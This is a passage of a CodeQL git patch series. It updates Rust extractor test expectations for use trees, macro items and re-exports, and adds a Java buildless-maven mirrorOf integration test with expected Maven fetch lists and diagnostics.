file://:0:0:0:0 | std | | file://:0:0:0:0 | std | | file://:0:0:0:0 | unwrap | +| file://:0:0:0:0 | use ...::Path | | file://:0:0:0:0 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected b/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected index dee883ca8b7..08f3925f5a4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/MacroItems/MacroItems_getItem.expected @@ -1,2 +1,2 @@ -| gen_macro_items.rs:5:5:5:38 | MacroItems | 0 | file://:0:0:0:0 | Use | +| gen_macro_items.rs:5:5:5:38 | MacroItems | 0 | file://:0:0:0:0 | use ...::Path | | gen_macro_items.rs:5:5:5:38 | MacroItems | 1 | file://:0:0:0:0 | fn get_parent | diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected index 74145411e3d..ac5d1b77295 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected +++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree.expected @@ -1,7 +1,7 @@ -| gen_use_tree.rs:5:9:5:33 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | -| gen_use_tree.rs:6:9:6:27 | UseTree | isGlob: | yes | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | -| gen_use_tree.rs:7:9:7:46 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | yes | hasUseTreeList: | no | -| gen_use_tree.rs:8:9:8:50 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | yes | -| gen_use_tree.rs:8:28:8:31 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | -| gen_use_tree.rs:8:34:8:40 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | -| gen_use_tree.rs:8:43:8:49 | UseTree | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | +| gen_use_tree.rs:5:9:5:33 | ...::HashMap | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | +| gen_use_tree.rs:6:9:6:27 | ...::collections::* | isGlob: | yes | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | +| gen_use_tree.rs:7:9:7:46 | ...::HashMap as MyHashMap | isGlob: | no | hasPath: | yes | hasRename: | yes | hasUseTreeList: | no | +| gen_use_tree.rs:8:9:8:50 | ...::collections::{...} | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | yes | +| gen_use_tree.rs:8:28:8:31 | self | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | +| gen_use_tree.rs:8:34:8:40 | HashMap | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | +| gen_use_tree.rs:8:43:8:49 | HashSet | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no | diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected index 6560c5fb456..b6164b65342 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected @@ -1,7 +1,7 @@ -| gen_use_tree.rs:5:9:5:33 | UseTree | gen_use_tree.rs:5:9:5:33 | ...::HashMap | -| gen_use_tree.rs:6:9:6:27 | UseTree | gen_use_tree.rs:6:9:6:24 | ...::collections | -| gen_use_tree.rs:7:9:7:46 | UseTree | gen_use_tree.rs:7:9:7:33 | ...::HashMap | -| gen_use_tree.rs:8:9:8:50 | UseTree | gen_use_tree.rs:8:9:8:24 | ...::collections | -| gen_use_tree.rs:8:28:8:31 | UseTree | gen_use_tree.rs:8:28:8:31 | self | -| gen_use_tree.rs:8:34:8:40 | UseTree | gen_use_tree.rs:8:34:8:40 | HashMap | -| gen_use_tree.rs:8:43:8:49 | UseTree | gen_use_tree.rs:8:43:8:49 | HashSet | +| gen_use_tree.rs:5:9:5:33 | ...::HashMap | gen_use_tree.rs:5:9:5:33 | ...::HashMap | +| gen_use_tree.rs:6:9:6:27 | ...::collections::* | gen_use_tree.rs:6:9:6:24 | ...::collections | +| gen_use_tree.rs:7:9:7:46 | ...::HashMap as MyHashMap | gen_use_tree.rs:7:9:7:33 | ...::HashMap | +| gen_use_tree.rs:8:9:8:50 | ...::collections::{...} | gen_use_tree.rs:8:9:8:24 | ...::collections | +| gen_use_tree.rs:8:28:8:31 | self | gen_use_tree.rs:8:28:8:31 | self | +| gen_use_tree.rs:8:34:8:40 | HashMap | gen_use_tree.rs:8:34:8:40 | HashMap | +| gen_use_tree.rs:8:43:8:49 | HashSet | gen_use_tree.rs:8:43:8:49 | HashSet | diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected index 0ccdbacfc49..77c4b31a86a 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected +++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected @@ -1 +1 @@ -| gen_use_tree.rs:7:9:7:46 | UseTree | gen_use_tree.rs:7:35:7:46 | Rename | +| gen_use_tree.rs:7:9:7:46 | ...::HashMap as MyHashMap | gen_use_tree.rs:7:35:7:46 | Rename | diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected index f5bb77ce720..547fb0bd37b 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected +++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected @@ -1 +1 @@ -| gen_use_tree.rs:8:9:8:50 | UseTree | gen_use_tree.rs:8:27:8:50 | UseTreeList | +| gen_use_tree.rs:8:9:8:50 | ...::collections::{...} | gen_use_tree.rs:8:27:8:50 | UseTreeList | From ec9fe8079e11962514d5c72ae57d880500235d4f Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 25 Mar 2025 14:24:00 +0100 Subject: [PATCH 135/282] Rust: add tests for re-export statements --- .../extractor-tests/crate_graph/module.rs | 3 + .../crate_graph/modules.expected | 90 +++++++++++++++++++ 2 files changed, 93 insertions(+) diff --git a/rust/ql/test/extractor-tests/crate_graph/module.rs b/rust/ql/test/extractor-tests/crate_graph/module.rs index e163026e817..17ef271a729 100644 --- a/rust/ql/test/extractor-tests/crate_graph/module.rs +++ b/rust/ql/test/extractor-tests/crate_graph/module.rs @@ -40,3 +40,6 @@ impl fmt::Display for X { pub const X_A: X = X::A; pub static X_B: X = X::B; + +pub use std::fs::create_dir as mkdir; +pub use std::{fs::*, path::PathBuf}; diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.expected b/rust/ql/test/extractor-tests/crate_graph/modules.expected index 0bf8f0858f8..40ee24579e0 100644 --- a/rust/ql/test/extractor-tests/crate_graph/modules.expected +++ b/rust/ql/test/extractor-tests/crate_graph/modules.expected @@ -31,8 +31,98 @@ lib.rs: #-----| -> impl AsString for ...::X { ... } #-----| -> struct X_List #-----| -> trait AsString +#-----| -> use ...::DirBuilder +#-----| -> use ...::DirEntry +#-----| -> use ...::File +#-----| -> use ...::FileTimes +#-----| -> use ...::FileType +#-----| -> use ...::Metadata +#-----| -> use ...::OpenOptions +#-----| -> use ...::PathBuf +#-----| -> use ...::Permissions +#-----| -> use ...::ReadDir +#-----| -> use ...::canonicalize +#-----| -> use ...::copy +#-----| -> use ...::create_dir +#-----| -> use ...::create_dir as mkdir +#-----| -> use ...::create_dir_all +#-----| -> use ...::exists +#-----| -> use ...::hard_link +#-----| -> use ...::metadata +#-----| -> use ...::read +#-----| -> use ...::read_dir +#-----| -> use ...::read_link +#-----| -> use ...::read_to_string +#-----| -> use ...::remove_dir +#-----| -> use ...::remove_dir_all +#-----| -> use ...::remove_file +#-----| -> use ...::rename +#-----| -> use ...::set_permissions +#-----| -> use ...::soft_link +#-----| -> use ...::symlink_metadata +#-----| -> use ...::write #-----| struct X_List #-----| trait AsString #-----| -> fn as_string + +#-----| use ...::DirBuilder + +#-----| use ...::DirEntry + +#-----| use ...::File + +#-----| use ...::FileTimes + +#-----| use ...::FileType + +#-----| use ...::Metadata + +#-----| use ...::OpenOptions + +#-----| use ...::PathBuf + +#-----| use ...::Permissions + +#-----| use ...::ReadDir + +#-----| use ...::canonicalize + +#-----| use ...::copy + +#-----| use ...::create_dir + +#-----| use ...::create_dir as mkdir + +#-----| use ...::create_dir_all + +#-----| use ...::exists + +#-----| use ...::hard_link + +#-----| use ...::metadata + +#-----| use ...::read + +#-----| use ...::read_dir + +#-----| use ...::read_link + +#-----| use ...::read_to_string + +#-----| use ...::remove_dir + +#-----| use ...::remove_dir_all + +#-----| use ...::remove_file + +#-----| use ...::rename + +#-----| use ...::set_permissions + +#-----| use ...::soft_link + +#-----| use ...::symlink_metadata + +#-----| use ...::write From d374b24d6feccc58aa62fd67933e93e6d4a46a86 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Fri, 28 Mar 2025 21:26:28 +0000 Subject: [PATCH 136/282] Java buildless: add buildless-maven variant with a wildcard mirrorOf spec This should get rewritten to exclude the buildless repository. --- .../buildless-fetches.expected | 26 ++++ .../diagnostics.expected | 70 +++++++++++ .../maven-fetches.expected | 77 ++++++++++++ .../java/buildless-maven-mirrorof/pom.xml | 114 ++++++++++++++++++ .../settings-xml.expected | 35 ++++++ .../buildless-maven-mirrorof/settings.xml | 10 ++ .../source_archive.expected | 8 ++ .../src/main/java/com/example/App.java | 30 +++++ .../src/main/resources/my-app.properties | 1 + .../src/main/resources/page.xml | 8 ++ .../src/main/resources/struts.xml | 4 + .../src/test/java/com/example/AppTest.java | 20 +++ .../java/buildless-maven-mirrorof/test.py | 10 ++ 13 files changed, 413 insertions(+) create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java create mode 100644 java/ql/integration-tests/java/buildless-maven-mirrorof/test.py diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected new file mode 100644 index 00000000000..e3710cc4cb9 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/buildless-fetches.expected @@ -0,0 +1,26 @@ +https://repo.maven.apache.org/maven2/com/feiniaojin/naaf/naaf-graceful-response-example/1.0/naaf-graceful-response-example-1.0.jar +https://repo.maven.apache.org/maven2/com/github/MoebiusSolutions/avro-registry-in-source/avro-registry-in-source-tests/1.8/avro-registry-in-source-tests-1.8.jar +https://repo.maven.apache.org/maven2/com/github/MoebiusSolutions/avro-registry-in-source/example-project/1.5/example-project-1.5.jar +https://repo.maven.apache.org/maven2/com/intuit/benten/benten-examples/0.1.5/benten-examples-0.1.5.jar +https://repo.maven.apache.org/maven2/com/jakewharton/twirl/sample-runtime/1.2.0/sample-runtime-1.2.0.jar +https://repo.maven.apache.org/maven2/com/mattunderscore/code/generation/specky/plugin-example/0.8.0/plugin-example-0.8.0.jar +https://repo.maven.apache.org/maven2/com/microsoft/tang/tang-test-jarAB/0.9/tang-test-jarAB-0.9.jar +https://repo.maven.apache.org/maven2/de/knutwalker/rx-redis-example_2.11/0.1.2/rx-redis-example_2.11-0.1.2.jar +https://repo.maven.apache.org/maven2/de/knutwalker/rx-redis-java-example_2.11/0.1.2/rx-redis-java-example_2.11-0.1.2.jar +https://repo.maven.apache.org/maven2/io/github/scrollsyou/example-spring-boot-starter/1.0.0/example-spring-boot-starter-1.0.0.jar +https://repo.maven.apache.org/maven2/io/streamnative/com/example/maven-central-template/server/3.0.0/server-3.0.0.jar +https://repo.maven.apache.org/maven2/no/nav/security/token-validation-ktor-demo/3.1.0/token-validation-ktor-demo-3.1.0.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-fileupload/0.5.10/minijax-example-fileupload-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-inject/0.5.10/minijax-example-inject-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-json/0.5.10/minijax-example-json-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-mustache/0.5.10/minijax-example-mustache-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-petclinic/0.5.10/minijax-example-petclinic-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-security/0.5.10/minijax-example-security-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-ssl/0.5.10/minijax-example-ssl-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-todo-backend/0.5.10/minijax-example-todo-backend-0.5.10.jar +https://repo.maven.apache.org/maven2/org/minijax/minijax-example-websocket/0.5.10/minijax-example-websocket-0.5.10.jar +https://repo.maven.apache.org/maven2/org/scalamock/scalamock-examples_2.10/3.6.0/scalamock-examples_2.10-3.6.0.jar +https://repo.maven.apache.org/maven2/org/somda/sdc/glue-examples/4.0.0/glue-examples-4.0.0.jar +https://repo.maven.apache.org/maven2/us/fatehi/schemacrawler-examplecode/16.20.2/schemacrawler-examplecode-16.20.2.jar +https://repo1.maven.org/maven2/junit/junit/4.11/junit-4.11.jar +https://repo1.maven.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.jar diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected new file mode 100644 index 00000000000..f3c89bb842a --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/diagnostics.expected @@ -0,0 +1,70 @@ +{ + "markdownMessage": "Java analysis used build tool Maven to pick a JDK version and/or to recommend external dependencies.", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/using-build-tool-advice", + "name": "Java analysis used build tool Maven to pick a JDK version and/or to recommend external dependencies" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} +{ + "markdownMessage": "Java analysis used the system default JDK.", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/jdk-system-default", + "name": "Java analysis used the system default JDK" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} +{ + "markdownMessage": "Java analysis with build-mode 'none' completed.", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/complete", + "name": "Java analysis with build-mode 'none' completed" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} +{ + "markdownMessage": "Java was extracted with build-mode set to 'none'. This means that all Java source in the working directory will be scanned, with build tools such as Maven and Gradle only contributing information about external dependencies.", + "severity": "note", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/mode-active", + "name": "Java was extracted with build-mode set to 'none'" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": true, + "telemetry": true + } +} +{ + "markdownMessage": "Reading the dependency graph from build files provided 2 classpath entries", + "severity": "unknown", + "source": { + "extractorName": "java", + "id": "java/autobuilder/buildless/depgraph-provided-by-maven", + "name": "Java analysis extracted precise dependency graph information from tool Maven" + }, + "visibility": { + "cliSummaryTable": true, + "statusPage": false, + "telemetry": true + } +} diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected new file mode 100644 index 00000000000..de38626f4d8 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/maven-fetches.expected @@ -0,0 +1,77 @@ +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-annotations/2.14.1/jackson-annotations-2.14.1.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-annotations/2.14.1/jackson-annotations-2.14.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-core/2.14.1/jackson-core-2.14.1.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-core/2.14.1/jackson-core-2.14.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-databind/2.14.1/jackson-databind-2.14.1.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/core/jackson-databind/2.14.1/jackson-databind-2.14.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/jackson-base/2.14.1/jackson-base-2.14.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/jackson-bom/2.14.1/jackson-bom-2.14.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/jackson/jackson-parent/2.14/jackson-parent-2.14.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/fasterxml/oss-parent/48/oss-parent-48.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/github/ferstl/depgraph-maven-plugin/4.0.3-CodeQL/depgraph-maven-plugin-4.0.3-CodeQL.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/github/ferstl/depgraph-maven-plugin/4.0.3-CodeQL/depgraph-maven-plugin-4.0.3-CodeQL.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/code/findbugs/jsr305/3.0.2/jsr305-3.0.2.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/errorprone/error_prone_annotations/2.36.0/error_prone_annotations-2.36.0.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/errorprone/error_prone_annotations/2.36.0/error_prone_annotations-2.36.0.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/errorprone/error_prone_parent/2.36.0/error_prone_parent-2.36.0.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/failureaccess/1.0.2/failureaccess-1.0.2.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/failureaccess/1.0.2/failureaccess-1.0.2.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava-parent/26.0-android/guava-parent-26.0-android.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava-parent/33.4.0-jre/guava-parent-33.4.0-jre.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava/33.4.0-jre/guava-33.4.0-jre.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/guava/33.4.0-jre/guava-33.4.0-jre.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/j2objc/j2objc-annotations/3.0.0/j2objc-annotations-3.0.0.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/com/google/j2objc/j2objc-annotations/3.0.0/j2objc-annotations-3.0.0.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/javax/annotation/javax.annotation-api/1.2/javax.annotation-api-1.2.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/javax/annotation/javax.annotation-api/1.2/javax.annotation-api-1.2.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/net/java/jvnet-parent/3/jvnet-parent-3.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/apache/19/apache-19.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/apache/25/apache-25.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/apache/27/apache-27.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/commons/commons-parent/47/commons-parent-47.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-model/3.8.6/maven-model-3.8.6.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-model/3.8.6/maven-model-3.8.6.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-parent/35/maven-parent-35.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-parent/37/maven-parent-37.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-plugin-api/3.8.6/maven-plugin-api-3.8.6.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven-plugin-api/3.8.6/maven-plugin-api-3.8.6.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/maven/3.8.6/maven-3.8.6.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/shared/maven-common-artifact-filters/3.3.2/maven-common-artifact-filters-3.3.2.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/apache/maven/shared/maven-shared-components/37/maven-shared-components-37.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/checkerframework/checker-qual/3.43.0/checker-qual-3.43.0.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/checkerframework/checker-qual/3.43.0/checker-qual-3.43.0.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-classworlds/2.5.2/plexus-classworlds-2.5.2.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-classworlds/2.6.0/plexus-classworlds-2.6.0.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-classworlds/2.6.0/plexus-classworlds-2.6.0.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-containers/1.5.5/plexus-containers-1.5.5.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-utils/3.0.24/plexus-utils-3.0.24.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus-utils/3.3.1/plexus-utils-3.3.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/4.0/plexus-4.0.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/codehaus/plexus/plexus/5.1/plexus-5.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.inject/0.3.5/org.eclipse.sisu.inject-0.3.5.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.inject/0.3.5/org.eclipse.sisu.inject-0.3.5.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.plexus/0.3.5/org.eclipse.sisu.plexus-0.3.5.jar +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/org.eclipse.sisu.plexus/0.3.5/org.eclipse.sisu.plexus-0.3.5.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/sisu-inject/0.3.5/sisu-inject-0.3.5.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/eclipse/sisu/sisu-plexus/0.3.5/sisu-plexus-0.3.5.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/junit/junit-bom/5.9.1/junit-bom-5.9.1.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/forge/forge-parent/10/forge-parent-10.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/oss/oss-parent/7/oss-parent-7.pom +Downloaded from codeql-depgraph-plugin-repo: 